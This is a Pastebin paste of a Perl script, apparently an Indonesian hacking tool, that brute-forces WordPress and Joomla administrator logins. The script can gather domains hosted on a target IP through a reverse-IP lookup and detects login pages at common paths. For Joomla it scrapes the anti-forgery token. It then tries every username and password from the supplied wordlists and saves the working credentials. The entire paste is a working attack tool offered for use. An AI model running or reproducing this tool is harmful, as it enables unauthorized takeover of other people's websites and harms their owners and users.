khalilasharen

bruteforce joomla&WP

Jun 22nd, 2015
396
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.23 KB | None | 0 0
  1. #!/usr/bin/perl
  2. if($^O =~ /Win/){
  3.  
  4. system("cls");
  5. system("title BruTO_IJO");
  6. }
  7. sub trim($);
  8. print q{+-------------------------------------------------------------+
  9. | ____ _______ |
  10. | | _ \ |__ __| |
  11. | | |_) | _ __ _ _ | | ___ |
  12. | | _ < | '__|| | | || | / _ \ |
  13. | | |_) || | | |_| || || __/ |
  14. | |____/ |_| \__,_||_| \___| |
  15. | |
  16. | v 1.0 [pak_bambang] |
  17. +-----------------------------------------------------------------__+};
  18. $ioip = $ARGV[0];
  19. $ulist = $ARGV[1];
  20. $list = $ARGV[2];
  21.  
  22. if(@ARGV < 3){
  23. print q{
  24. | |
  25. | |
  26. | caranya : Perl brute.pl [Target/Domains List] [UserList] [PassList] |
  27. | |
  28. | contoh : perl brute.pl www.Target.ltd ulist.txt pwlist.txt |
  29. | contoh : perl brute.pl domains.txt ulist.txt pwlist.txt |
  30. | |
  31. | |
  32. +---------------------------------------------------------------------+
  33. | |
  34. | [x] Name : Brute_iJ0 |
  35. | [x] Coded by : pak_bambang |
  36. | [x] E-mail : root(att)google.co.id |
  37. | [x] Site : http://www.google(dot)co(dot)id |
  38. | |
  39. | [x] Greetz : bambang1 - bambang2 - bambang3 - bambang4 |
  40. | bambang5 & bambang lain nya XD |
  41. | |
  42. | [x] Special : bambanglicious_team - biangkerok_crew |
  43. | |
  44. +---------------------------------------------------------------------+
  45. }
  46. ;exit;}
  47. chomp($ioip);
  48. if($ARGV[0] =~ /.txt/) {
  49. print "\n[!] Listing Domains From $ARGV[0] ...\n\n";
  50. open (DOMAINS, "<$ARGV[0]") || die "[-] ngga bisa buka daftar nama domain COK!";
  51. @DOMAINS = <DOMAINS>;
  52. close DOMAINS;
  53. }else{
  54. print "\n[!] Grabbing Domains From $ioip ...\n\n";
  55. use LWP::UserAgent;
  56. use HTTP::Request;
  57. my $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');
  58.  
  59.  
  60. my $rp = $ua->post('http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php',
  61. {
  62. remoteAddress => $ioip,
  63. }
  64. );
  65.  
  66. my $dresult = $rp->content;
  67. while ($dresult =~ m/\[([^\]]*)\]/g)
  68. {
  69. $imatch = $1;
  70. $imatch =~ m/\"(.*?)\", \"?\"/g;
  71. open(a, ">>domains-$ioip.txt");
  72. print a "$1\n";
  73. close(a);
  74. }
  75. if ($dresult =~ m/"message":"Daily reverse IP check limit reached for (.*)\. Please <a href='\/about'>contact<\/a> me to remove this limit\."/)
  76. {
  77. print "[-] Sorry Domains Cannot Be Listed now\n\n";
  78. }
  79. open (DOMAINS, "<domains-$ioip.txt") || die "[-] ngga bisa buka daftar nama domain COK!";
  80. @DOMAINS = <DOMAINS>;
  81. close DOMAINS;
  82. }
  83. foreach my $D (@DOMAINS) {
  84. chomp $D;
  85.  
  86. $wp = "http://".$D."/wp-login.php";
  87. my $reqwp=HTTP::Request->new(GET=>$wp);
  88. my $uawp=LWP::UserAgent->new();
  89. $uawp->timeout(30);
  90. my $responsewp=$uawp->request($reqwp);
  91.  
  92. $wp1 = "http://".$D."/blog/wp-login.php";
  93. my $reqwp1=HTTP::Request->new(GET=>$wp1);
  94. my $uawp1=LWP::UserAgent->new();
  95. $uawp1->timeout(30);
  96. my $responsewp1=$uawp1->request($reqwp1);
  97.  
  98. $joom = "http://".$D."/administrator/index.php";
  99. my $reqjoom=HTTP::Request->new(GET=>$joom);
  100. my $uajoom=LWP::UserAgent->new();
  101. $uajoom->timeout(30);
  102. my $responsejoom=$uajoom->request($reqjoom);
  103.  
  104. $joom1 = "http://".$D."/Portal/administrator/index.php";
  105. my $reqjoom1=HTTP::Request->new(GET=>$joom1);
  106. my $uajoom1=LWP::UserAgent->new();
  107. $uajoom1->timeout(30);
  108. my $responsejoom1=$uajoom1->request($reqjoom1);
  109.  
  110.  
  111. if ($responsewp->content=~ /<body class="login">/){print "[+] $D :[Wordpress]\n";
  112. open(a, ">>resault-$ioip.txt");
  113. print a "[WordPress]:$D\n";
  114. close(a);
  115. use LWP::UserAgent;
  116. use URI::URL;
  117. use HTTP::Request;
  118. use HTTP::Request::Common qw(POST);
  119. use HTTP::Request::Common qw(GET);
  120.  
  121.  
  122. print "\n\n [!] HAJJAARRR !! $D ...\n\n";
  123. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Users !";
  124. @ULIST = <USERFILE>;
  125. close USERFILE;
  126. foreach my $U (@ULIST) {
  127. chomp $U;
  128. $user = trim($U);
  129.  
  130. use LWP::UserAgent;
  131. my $useragaint = new LWP::UserAgent;
  132. open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
  133. @LISTS = <PASSFILE>;
  134. close PASSFILE;
  135. foreach my $L (@LISTS) {
  136. chomp $L;
  137. $pwd = trim($L);
  138.  
  139.  
  140. my $response = $useragaint->post($wp,
  141. {
  142. "log" => "$user",
  143. "pwd" => "$pwd",
  144. });
  145.  
  146. if ($content = $response->content=~ /<div id="login_error">/)
  147.  
  148. {
  149. print "\t[-] [$user]:$pwd Gagal COK !! \n";
  150. }
  151. else {
  152. print "\n\n\t[+] [$user]:$pwd Masuk COK !! \n\n";
  153. open(a, ">>resault-$ioip.txt");
  154. print a "$user:$pwd\n";
  155. close(a);
  156. }
  157. }
  158. print "\n\n";
  159. }
  160. }
  161. else{
  162. if ($responsewp1->content=~ /<body class="login">/){print "[+] $D :[Wordpress]\n";
  163. open(a, ">>resault-$ioip.txt");
  164. print a "[WordPress]:$D/blog/\n";
  165. close(a);
  166. use LWP::UserAgent;
  167. use URI::URL;
  168. use HTTP::Request;
  169. use HTTP::Request::Common qw(POST);
  170. use HTTP::Request::Common qw(GET);
  171.  
  172.  
  173. print "\n\n [!] HAJJAARRR !! $D ...\n\n";
  174. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
  175. @ULIST = <USERFILE>;
  176. close USERFILE;
  177. foreach my $U (@ULIST) {
  178. chomp $U;
  179. $user = trim($U);
  180.  
  181. use LWP::UserAgent;
  182. my $useragaint = new LWP::UserAgent;
  183. open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
  184. @LISTS = <PASSFILE>;
  185. close PASSFILE;
  186. foreach my $L (@LISTS) {
  187. chomp $L;
  188. $pwd = trim($L);
  189.  
  190.  
  191. my $response = $useragaint->post($wp1,
  192. {
  193. "log" => "$user",
  194. "pwd" => "$pwd",
  195. });
  196.  
  197. if ($content = $response->content=~ /<div id="login_error">/)
  198.  
  199. {
  200. print "\t[-] [$user]:$pwd gagal COK !! \n";
  201. }
  202. else {
  203. print "\n\n\t[+] [$user]:$pwd Masuk COK !! \n\n";
  204. open(a, ">>resault-$ioip.txt");
  205. print a "$user:$pwd\n";
  206. close(a);
  207. }
  208. }
  209. print "\n\n";
  210. }
  211. }
  212. else{
  213. if ($responsejoom->is_success && $responsejoom->content=~ /Joomla/){print "[+] $D :[Joomla]\n";
  214. open(a, ">>resault-$ioip.txt");
  215. print a "[Joomla]:$D\n";
  216. close(a);
  217. use LWP::UserAgent;
  218. use URI::URL;
  219. use HTTP::Request;
  220. use HTTP::Request::Common qw(POST);
  221. use HTTP::Request::Common qw(GET);
  222. use HTTP::Cookies;
  223. $ua = LWP::UserAgent->new(keep_alive => 1);
  224. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  225. $ua->timeout (30);
  226. $ua->cookie_jar(
  227. HTTP::Cookies->new(
  228. file => 'mycookies.txt',
  229. autosave => 1
  230. )
  231. );
  232.  
  233.  
  234. print "\n\n\t[!] HAJJAARRR !! $D ...\n\n";
  235. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
  236. @ULIST = <USERFILE>;
  237. close USERFILE;
  238. my $red = GET $joom;
  239. my $ret = $ua->request($red);
  240. $rep = $ret->content;
  241. $status = $ret->status_line;
  242. if ( $rep =~ m#(name=")(.*)" value="1"# ) {
  243. $token = $2 ;
  244. }else{
  245. die "[-] Can't Grabb Joomla Token !";
  246. }
  247. foreach my $U (@ULIST) {
  248. chomp $U;
  249. $user = trim($U);
  250. use LWP::UserAgent;
  251. my $useragaint = new LWP::UserAgent;
  252. open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
  253. @LISTS = <PASSFILE>;
  254. close PASSFILE;
  255. foreach my $L (@LISTS) {
  256. chomp $L;
  257. $pwd = trim($L);
  258.  
  259. my $response = $ua->post($joom,
  260. {
  261. "username" => "$user",
  262. "passwd" => "$pwd",
  263. "lang" => "en-GB",
  264. "option" => "com_login",
  265. "task" => "login",
  266. "$token" => "1",
  267. });
  268. $pwnd = $response->status_line;
  269. if ($pwnd =~ /303/ | $pwnd =~ /301/){
  270.  
  271. print "\n\t[+] [$user]:$pwd masuk COK !! \n\n";
  272. open(a, ">>resault-$ioip.txt");
  273. print a "$user:$pwd\n";
  274. close(a);
  275. }
  276. else {
  277.  
  278. print "\t[-] [$user]:$pwd gagal COK !! \n";
  279.  
  280. }
  281. }
  282. print "\n\n";
  283. }
  284. }
  285. else{
  286. if ($responsejoom1->is_success && $responsejoom1->content=~ /Joomla/){print "[+] $D :[Joomla]\n";
  287. open(a, ">>resault-$ioip.txt");
  288. print a "[Joomla]:$D\n";
  289. close(a);
  290. use LWP::UserAgent;
  291. use URI::URL;
  292. use HTTP::Request;
  293. use HTTP::Request::Common qw(POST);
  294. use HTTP::Request::Common qw(GET);
  295. use HTTP::Cookies;
  296. $ua = LWP::UserAgent->new(keep_alive => 1);
  297. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  298. $ua->timeout (30);
  299. $ua->cookie_jar(
  300. HTTP::Cookies->new(
  301. file => 'mycookies.txt',
  302. autosave => 1
  303. )
  304. );
  305.  
  306.  
  307. print "\n\n\t[!] HAJJAAARR $D ...\n\n";
  308. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
  309. @ULIST = <USERFILE>;
  310. close USERFILE;
  311. my $red1 = GET $joom1;
  312. my $ret1 = $ua->request($red1);
  313. $rep1 = $ret1->content;
  314. $status = $ret1->status_line;
  315. if ( $rep1 =~ m#(name=")(.*)" value="1"# ) {
  316. $token = $2 ;
  317. }else{
  318. die "[-] Can't Grabb Joomla Token !";
  319. }
  320. foreach my $U (@ULIST) {
  321. chomp $U;
  322. $user = trim($U);
  323.  
  324. use LWP::UserAgent;
  325. my $useragaint = new LWP::UserAgent;
  326. open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
  327. @LISTS = <PASSFILE>;
  328. close PASSFILE;
  329. foreach my $L (@LISTS) {
  330. chomp $L;
  331. $pwd = trim($L);
  332.  
  333. my $response = $ua->post($joom1,
  334. {
  335. "username" => "$user",
  336. "passwd" => "$pwd",
  337. "lang" => "en-GB",
  338. "option" => "com_login",
  339. "task" => "login",
  340. "$token" => "1",
  341. });
  342. $pwnd = $response->status_line;
  343. if ($pwnd =~ /303/ | $pwnd =~ /301/){
  344.  
  345. print "\n\t[+] [$user]:$pwd masuk COK !! \n\n";
  346. open(a, ">>resault-$ioip.txt");
  347. print a "$user:$pwd\n";
  348. close(a);
  349. }
  350. else {
  351.  
  352. print "\t[-] [$user]:$pwd gagal COK !! \n";
  353.  
  354. }
  355. }
  356. print "\n\n";
  357. }
  358. }
  359. else {print "[-] $D :[Unknown]\n";}
  360. }
  361. }
  362. }
  363. }
  364. sub trim($)
  365. {
  366. my $string = shift;
  367. $string =~ s/^\s+//;
  368. $string =~ s/\s+$//;
  369. return $string;
  370. }
Advertisement
Add Comment
Please, Sign In to add comment